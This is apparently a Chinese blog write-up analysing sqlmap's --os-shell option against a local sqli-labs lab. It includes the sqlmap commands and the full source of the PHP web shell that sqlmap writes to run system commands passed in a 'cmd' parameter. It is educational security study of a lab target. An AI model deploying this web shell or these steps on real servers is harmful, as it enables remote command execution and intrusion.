sqlmap —— os-shell参数分析

前言:

最近在看sqlmap,发现--os-shell这个命令很厉害,所以来研究一下。

一、os-shell执行原理

对于 Mysql 数据库来说,--os-shell的本质就是写入两个 php 文件,其中的一个可以让我们用来执行命令,而另外一个可以让我们可以上传文件。

说到写入文件,就要说一下上传文件的两个前提条件,首先我们要知道网站的绝对路径(我们的文件写入到哪里),然后要有导入导出的权限。

导入导出的权限在 Mysql 数据库中是由 secure_file_priv 参数来控制的,当这个参数后面为 null 时,表示不允许导入导出,如果为具体文件夹时,表示仅允许在这个文件夹下导入导出,如果后面没有值(为空)时,表示可以在任何文件夹下导入导出。

当 Mysql 5.7 版本以上的时候,secure_file_priv 参数的值默认为null,也就是说,如果管理员没有修改过这个参数后面的数值的话,我们没办法在5.7以上版本使用--os-shell

二、测试环境:

实验环境是在本机上使用 phpstudy 搭建的 sqli-libs 靶场,并且假设我们已知网站绝对路径。

三、过程演示

1、测试权限

首先,我们先测试是否为dba权限

sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --is-dba


可以看到,当前用户拥有dba的权限,接下来就可以使用--os-shell了。

2、攻击
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --os-shell
3、选择语言

sqlmap默认为ASP,此处根据需求选择。

4、输入绝对路径


选择2选项,输入绝对路径,我这里为:C:/phpStudy/WWW

5、建立 os-shell 并执行命令


成功建立 os-shell 并执行命令!

四、原理分析

原理其实很简单,就是用 into outfile 函数上传了两个php文件,如图

一个是 tmpunszu.php,可以用来上传文件,另一个是 tmpbjpgc.php,这个文件可以用来执行系统命令,并且将结果返回出来。

先来看下 tmpbjpgc.php文件,源码如下:

<?php
$c=$_REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time',0);
$z=@ini_get('disable_functions');
if(!empty($z))
{
    $z=preg_replace('/[, ]+/',',',$z);
    $z=explode(',',$z);
    $z=array_map('trim',$z);}
else
    {
        $z=array();
        }
$c=$c." 2>&1\n";
function f($n)
{global $z;
return is_callable($n)and!in_array($n,$z);
}
if(f('system'))
{ob_start();
system($c);
$w=ob_get_contents();
ob_end_clean();
}elseif(f('proc_open')){
    $y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
    $w=NULL;
    while(!feof($t[1])){
        $w.=fread($t[1],512);
            }
        @proc_close($y);
}
    elseif(f('shell_exec')){
    $w=shell_exec($c);
    }
    elseif(f('passthru')){
        ob_start();
        passthru($c);
        $w=ob_get_contents();
        ob_end_clean();
        }elseif(f('popen')){
            $x=popen($c,r);
            $w=NULL;
            if(is_resource($x)){
                while(!feof($x)){
                $w.=fread($x,512);
                    }
                    }
                    @pclose($x);
                    }elseif(f('exec')){
                        $w=array();
                        exec($c,$w);
                        $w=join(chr(10),$w).chr(10);
                        }else{
                            $w=0;
                            }
                            print "</pre>".$w."</pre>";?>'''

上述代码实现了 os-shell 得到命令后如何执行,以及输出执行结果到 os-shell 中。我们可以直接通过该文件在网站URL里面往 cmd 传参,执行系统命令。

我们来访问一下 tmpunszu.php页面

上传一个php探针文件并访问

访问成功。

总结:

通过上述的分析,我们知道了sqlmap os-shell参数的用法以及原理,通过往服务器上写入了两个shell文件,实现了执行系统命令和上传脚本文件的功能。🆗,本次分析到此结束。

参考文章:

https://www.cnblogs.com/Xiaoming0/p/13951894.html
https://www.cnblogs.com/lcamry/p/5505110.html
https://www.cnblogs.com/zzjdbk/p/13951047.html


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 2058751973@qq.com

×

喜欢就点赞,疼爱就打赏